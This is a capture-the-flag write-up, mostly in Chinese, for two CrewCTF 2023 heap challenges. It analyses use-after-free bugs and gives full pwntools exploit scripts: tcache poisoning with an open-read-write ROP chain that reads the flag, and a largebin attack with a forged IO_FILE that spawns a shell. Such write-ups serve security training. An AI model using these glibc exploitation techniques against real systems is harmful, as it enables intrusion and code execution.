0%

CrewCTF2023

company

1
GNU C Library (Ubuntu GLIBC 2.37-0ubuntu2) stable release version 2.37.
1
2
3
4
5
6
company: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=1579bb98d790ece68a2411728f492e944628bd50, for GNU/Linux 3.2.0, stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
  • Full RELRO,Canary,NX
1
2
3
4
5
6
7
8
9
10
11
0000: 0x20 0x00 0x00 0x00000004  A = arch
0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x05 0xffffffff if (A != 0xffffffff) goto 0010
0005: 0x15 0x03 0x00 0x00000000 if (A == read) goto 0009
0006: 0x15 0x02 0x00 0x00000001 if (A == write) goto 0009
0007: 0x15 0x01 0x00 0x00000002 if (A == open) goto 0009
0008: 0x15 0x00 0x01 0x0000004e if (A != getdents) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x06 0x00 0x00 0x00000000 return KILL
  • 白名单,只能打 ORW(没 ban getdents,可能是未知文件名的 ORW)

漏洞分析

UAF 漏洞的变种:没有置空堆上的 chunk_list[index]->data

1
2
3
4
5
6
if ( index <= 0xF && chunk_list[index] )
{
free(chunk_list[index]);
free(chunk_list[index]->data);
chunk_list[index] = 0LL;
}
  • 不管 chunk_list[index]->data 上是否有值,它都会被释放

入侵思路

程序的打印模块有限制,需要绕过:

1
2
3
4
5
if ( strcmp(positiong, "HR") )
{
printf("Sorry %syou're not have access to this\n", nameg);
exit(0);
}

先申请一个 chunk,往 chunk_list[index]->data 上写入 positiong,尝试直接释放 positiong 将其写入 tcache 中(布置好 fake chunk)

再次申请回来时就可以控制 positiongchunk_list

用这种思路可以泄露 libc_base heap_base stack_addr,然后控制 chunk_list 实现堆重叠,最后劫持栈就可以了

由于不清楚服务器上的 flag 名称,因此需要利用 getdents 获取 flag 名称,打印的数据如下:

1
2
3
4
5
 �l 
\x00\x00\x00\x84|���!6\x18..\x00\x00�l
\x00\x0��\xb3 \xac;@\x00lag_you_found_this_my_treasure_leaked.txt\x00\x00�l
\x00\x00p]\xa9
\x176j\x18.\x00\x00\x04l\x0c\x00\x00\xff\xff\xff\xff\xff\xff\xff\x7f \x00ompany\x00\x00\x0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './company1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc.so.6')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 0
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('company.chal.crewc.tf','17001')

def debug():
gdb.attach(p,"b* 0x401708\n")
#gdb.attach(p,"b *$rebase(0x1409)\nb *$rebase(0x137A)\n")
pause()

def cmd(op):
sleep(0.2)
sla(">> ",str(op))

def add(index,name="1",position="HR"+"\x00"*6+p64(0x61),salary=0):
cmd(1)
sla("Index:",str(index))
sa("Name:",name)
sa("Position:",position)
sla("Salary:",str(salary))

def dele(index):
cmd(2)
sla("Index:",str(index))

def add2(index,index2,data):
cmd(3)
sla("you are? ",str(index))
sla("feedback? ",str(index2))
sa("Feedback:",data)

def show(index):
cmd(4)
sla("see? ",str(index))

target_addr = 0x404070
__libc_start_main = 0x403FF0

name = "a"*0x8 + p64(0x61)
sla("name? ",name)

add(0)
add2(0,0,"a"*0x20+"b"*0x20+p64(target_addr))

for i in range(6):
add(i+1)
add2(i+1,i+1,"a"*8)

dele(0)
add(0)
dele(0)

add(10,name="a"*0x10+"HR"+"\x00"*6,position=p64(__libc_start_main)*3+p64(0x404098-0x40))
show(1)

p.recvuntil("Feedback: ")
leak_addr = u64(p.recv(6).ljust(8,"\x00"))
libc_base = leak_addr-0x23ac0
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

stack_libc = libc_base - 0x25c0
success("stack_libc >> "+hex(stack_libc))

dele(10)
add(10)
add2(10,10,"a"*0x10+"HR"+"\x00"*6+p64(stack_libc)*3+p64(0x404098-0x40))
show(1)
p.recvuntil("Feedback: ")
leak_addr = u64(p.recv(6).ljust(8,"\x00"))
stack_base = leak_addr
success("leak_addr >> "+hex(leak_addr))
success("stack_base >> "+hex(stack_base))

dele(10)
add(10,name="a"*0x10+"HR"+"\x00"*6,position=p64(0x4040c0)*3+p64(0x404098-0x40))
show(1)
p.recvuntil("Feedback: ")
leak_addr = u64(p.recvuntil("\n")[:-1].ljust(8,"\x00"))
heap_base = leak_addr-0x20d0
success("leak_addr >> "+hex(leak_addr))
success("heap_base >> "+hex(heap_base))

ret_addr = 0x401770
ret_stack = stack_base - 0x68
bss_addr = 0x404020 + 0x200

pop_rax_ret = 0x0000000000040143 + libc_base
pop_rdi_ret = 0x00000000000240e5 + libc_base
pop_rsi_ret = 0x000000000002573e + libc_base
pop_rdx_ret = 0x0000000000026302 + libc_base
syscall_ret = 0x00000000000e3859 + libc_base

payload = "a"*8
payload += p64(pop_rax_ret) + p64(0)
payload += p64(pop_rsi_ret) + p64(stack_base-0x30)
payload += p64(pop_rdx_ret) + p64(0x200)
payload += p64(syscall_ret) + p64(0)

add(9)
add2(9,9,"a"*0x20+"b"*0x20+p64(heap_base+0x1e00))
dele(9)
add(9)

dele(9)
key = (heap_base + 0x1e30)>>12
success("ret_stack >> "+hex(ret_stack))
add(9,name="a"*8,position=p64(0)+p64(0x61)+p64((ret_stack-8)^key))
add(3)

#pause() # b* 0x401770
#debug()
add2(3,3,payload)

payload = ""
payload += p64(pop_rax_ret) + p64(2)
payload += p64(pop_rdi_ret) + p64(stack_base+0xa8)
payload += p64(pop_rsi_ret) + p64(0)
payload += p64(pop_rdx_ret) + p64(0)
payload += p64(syscall_ret)

payload += p64(pop_rax_ret) + p64(0)
payload += p64(pop_rdi_ret) + p64(3)
payload += p64(pop_rsi_ret) + p64(stack_base+0xa8)
payload += p64(pop_rdx_ret) + p64(0x60)
payload += p64(syscall_ret)

payload += p64(pop_rax_ret) + p64(1)
payload += p64(pop_rdi_ret) + p64(1)
payload += p64(pop_rsi_ret) + p64(stack_base+0xa8)
payload += p64(pop_rdx_ret) + p64(0x60)
payload += p64(syscall_ret)

payload += "./flag_you_found_this_my_treasure_leaked.txt\x00"

"""
payload = ""
payload += p64(pop_rax_ret) + p64(2)
payload += p64(pop_rdi_ret) + p64(stack_base+0xd0)
payload += p64(pop_rsi_ret) + p64(0)
payload += p64(pop_rdx_ret) + p64(0)
payload += p64(syscall_ret)

payload += p64(pop_rax_ret) + p64(78)
payload += p64(pop_rdi_ret) + p64(3)
payload += p64(pop_rsi_ret) + p64(bss_addr+0x200)
payload += p64(pop_rdx_ret) + p64(4096)
payload += p64(syscall_ret)

payload += p64(pop_rax_ret) + p64(1)
payload += p64(pop_rdi_ret) + p64(1)
payload += p64(pop_rsi_ret) + p64(bss_addr+0x200)
payload += p64(pop_rdx_ret) + p64(0x200)
payload += p64(syscall_ret)


payload = payload.ljust(0x100,"1")
payload += "."+"\x00"*7
"""

sleep(0.5)
p.sendline(payload)

p.interactive()

company2

1
GNU C Library (Ubuntu GLIBC 2.37-0ubuntu2) stable release version 2.37.
1
2
3
4
5
6
company: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=09dfe618c92dba9281d433d52c79577575661c73, for GNU/Linux 3.2.0, stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开

漏洞分析

有 UAF 漏洞:

1
2
3
4
5
if ( index <= 0xF && chunk_list[index] )
{
free(chunk_list[index]);
chunk_list[index]->Size = 0LL;
}

程序可以进行泄露:

1
2
3
4
5
if ( index <= 0xF && chunk_list[index] && chunk_list[index]->Size )
{
printf("Feedback (%ld): ", chunk_list[index]->Size - 0x48);
read(0, &chunk_list[index]->data, chunk_list[index]->Size - 0x48);
}

入侵思路

利用 UAF 配合程序提供的 printf 即可完成泄露:(注意堆风水的搭建)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
add(0,0x550)
add(1,0x550)
add(2,0x550)
dele(1)
dele(0)
add(3,0x570)
add(4,0x530)
dele(4)

cmd(3)
sla("you are? ",str(0))
sla("feedback? ",str(1))
ru("Feedback (")
leak_addr = eval(ru(")"))
libc_base = leak_addr - 0x1f6c98
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

io_list_all = libc_base + 0x1f7680
success("io_list_all >> "+hex(io_list_all))

add(5,0x530)
add(6,0x540)
add(7,0x540)
dele(6)
dele(5)

cmd(3)
sla("you are? ",str(0))
sla("feedback? ",str(1))
ru("Feedback (")
leak_addr = eval(ru(")"))
heap_base = leak_addr - 0x1268
success("leak_addr >> "+hex(leak_addr))
success("heap_base >> "+hex(heap_base))

利用程序提供的修改函数可以很轻易地修改 large chunk+0x18,方便我们进行 largebin attack:

1
2
3
4
5
6
7
8
9
10
11
printf("Which Employee you want to increase the salary? ");
__isoc99_scanf("%d", &index);
if ( index <= 0xF && chunk_list[index] )
{
printf("Salary: ");
__isoc99_scanf("%lu", &chunk_list[index]->Salary);
}
else
{
puts("Sorry Not Allowed!");
}

最后打 IO,通过 house of cat 就可以 get shell

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './company1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc.so.6')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 1
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('company.chal.crewc.tf','17001')

def debug():
#gdb.attach(p,"b* 0x401708\n")
gdb.attach(p)
#pause()

def cmd(op):
sleep(0.2)
sla(">> ",str(op))

def add(index,size,name="1",position="HR",salary=0):
cmd(1)
sla("Index:",str(index))
if(type(size)==int):
sla("Size: ",str(size))
else:
sla("Size: ",size)
sa("Name:",name)
sa("Position:",position)
sla("Salary:",str(salary))

def dele(index):
cmd(2)
sla("Index:",str(index))

def edit(index,index2,data):
cmd(3)
sla("you are? ",str(index))
sla("feedback? ",str(index2))
sa("Feedback",data)

def show(index):
cmd(4)
sla("see? ",str(index))

def salary(index,sala):
cmd(5)
sla("salary?",str(index))
sla("Salary: ",str(sala))

name = "a"*0x8 + p64(0x61)
sla("name? ",name)

add(0,0x550)
add(1,0x550)
add(2,0x550)
dele(1)
dele(0)
add(3,0x570)
add(4,0x530)
dele(4)

cmd(3)
sla("you are? ",str(0))
sla("feedback? ",str(1))
ru("Feedback (")
leak_addr = eval(ru(")"))
libc_base = leak_addr - 0x1f6c98
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

io_list_all = libc_base + 0x1f7680
success("io_list_all >> "+hex(io_list_all))

add(5,0x530)
add(6,0x540)
add(7,0x540)
dele(6)
dele(5)

cmd(3)
sla("you are? ",str(0))
sla("feedback? ",str(1))
ru("Feedback (")
leak_addr = eval(ru(")"))
heap_base = leak_addr - 0x1268
success("leak_addr >> "+hex(leak_addr))
success("heap_base >> "+hex(heap_base))

add(8,0x560)
add(9,0x530)
dele(9)

salary(6,io_list_all-0x20)
add(10,0x550)

libc_system = libc_base + libc.sym["system"]
setcontext = libc_base + libc.sym["setcontext"] + 61
_IO_wfile_jumps = libc_base + libc.sym["_IO_wfile_jumps"]

next_chain = 0
fake_io_addr = heap_base + 0x12c0 - 0x10
payload_addr = heap_base + 0x858
flag_addr = heap_base

#fake_IO_FILE = "/bin/sh\x00" #_flags=rdi
#fake_IO_FILE += p64(0)*5
#fake_IO_FILE += p64(1)+p64(2) # rcx!=0(FSOP)
fake_IO_FILE = p64(2)
fake_IO_FILE += p64(payload_addr-0xa0)#_IO_backup_base=rdx
fake_IO_FILE += p64(setcontext)#_IO_save_end=call addr(call setcontext/system)
fake_IO_FILE = fake_IO_FILE.ljust(0x58-0x38, '\x00')
fake_IO_FILE += p64(0) # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x78-0x38, '\x00')
fake_IO_FILE += p64(flag_addr) # _lock = a writable address
fake_IO_FILE = fake_IO_FILE.ljust(0x90-0x38, '\x00')
fake_IO_FILE += p64(fake_io_addr+0x30)#_wide_data,rax1_addr
fake_IO_FILE = fake_IO_FILE.ljust(0xb0-0x38, '\x00')
fake_IO_FILE += p64(1) #mode=1
fake_IO_FILE = fake_IO_FILE.ljust(0xc8-0x38, '\x00')
fake_IO_FILE += p64(_IO_wfile_jumps+0x30) # vtable=IO_wfile_jumps+0x10
fake_IO_FILE += p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x40) # rax2_addr

add(11,0x530)
salary(6,heap_base+0x12b0)
add(12,0x540,name="/bin/sh\x00"+p64(0)*2,position=p64(0)+p64(1))
edit(2,12,fake_IO_FILE)

syscall_ret = 0x000000000010b3c9 + libc_base
pop_rdi_ret = 0x00000000000240e5 + libc_base
pop_rsi_ret = 0x000000000002573e + libc_base
pop_rdx_ret = 0x0000000000026302 + libc_base
pop_rax_ret = 0x0000000000040143 + libc_base

payload = p64(payload_addr)
payload += p64(pop_rdi_ret) + p64(fake_io_addr+0x10)
payload += p64(pop_rsi_ret) + p64(0)
payload += p64(pop_rdx_ret) + p64(0)
payload += p64(pop_rax_ret) + p64(59)
payload += p64(syscall_ret)

edit(2,11,payload)
#debug()
cmd(9)

p.interactive()